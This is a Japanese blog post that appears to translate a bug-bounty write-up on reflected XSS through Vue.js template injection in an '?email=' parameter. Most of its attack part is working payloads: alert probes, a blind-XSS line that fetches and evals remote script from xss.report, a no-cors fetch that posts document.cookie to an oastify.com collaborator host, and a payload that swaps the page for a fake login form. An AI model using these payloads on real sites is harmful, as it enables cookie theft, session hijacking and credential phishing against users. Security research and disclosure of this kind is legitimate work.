Shikata Ga Nai

Private? There is no such things.

Vue JS Reflected XSSを訳してみた

Hello there, ('ω')ノ

 

Vue JS 反映された XSSを。

 

脆弱性:

 反映された XSS

 ブラインド XSS

 CORS の設定ミス

 UI の修正

 

記事:

 https://medium.com/@sid0krypt/vue-js-reflected-xss-fae04c9872d2

 

今回は、VueJS アプリケーションで反映された XSS を取得する方法を。

すべてのタグをフィルタリングしていた「?email=」という。

名前の脆弱なパラメータを見つけ。

そこで、PortSwigger の XSS チートシートを参照して、ペイロードのヒントを得て。

 

最初にすべきことは、そのアプリケーションで使用されているテクノロジーを。

確認することで、自分の場合は、VueJS に基づいたアプリケーションで。

 

次の 2 つのペイロードが機能していることが判明して。

 

{{_Vue.h.constructor`alert(1)`()}}
{{$emit.constructor`alert(1)`()}}

 

 

テンプレート インジェクション ペイロード:

 

{{_Vue.h.constructor('x','console.log("HI this is sid0krypt")')(this)}}
{{_Vue.h.constructor('x','console.log(x)')(this)}}

 

 

VueJS の知識がないので、いくつかの調査の結果、コンストラクター関数が。

<script></script> と同様に機能することを知り。

ブラインド XSS ペイロードを作成するには、次のように単純に使用できて。

 

{{$emit.constructor`function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//xss.report/s/sid0krypt");a.send()`()}}

 

ターゲットが WAF を使用していたため。

クロス オリジン リクエストを作成できず。

 

 

したがって、このシナリオでは、クロス オリジン リソース シェアリングの制限を。

回避する no-cors モードでフェッチ リクエストを使用できて。

 

  fetch('https://{collaborator link}', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
  });

 

フェッチ リクエストの最終的なペイロードは次のようになり。

 

{{$emit.constructor`fetch(%27https://8v4y3qmogobk2g6bewqtqa83quwkk9.oastify.com%27,%20{%20method:%20%27POST%27,%20mode:%20%27no-cors%27,%20body:%20document.cookie%20});`()}}

 

 

さらにエスカレートするために、UI の修正を実行することができ。

これにより、作成したログイン ページの HTML コンテンツが完全に変更され.

www.target.com/login を指すようになり、正規のログイン ページのように見えて。

 

{{$emit.constructor`history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue and this is a POC by sid0krypt😌💕</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"`()}}

 

 

Best regards, (^^ゞ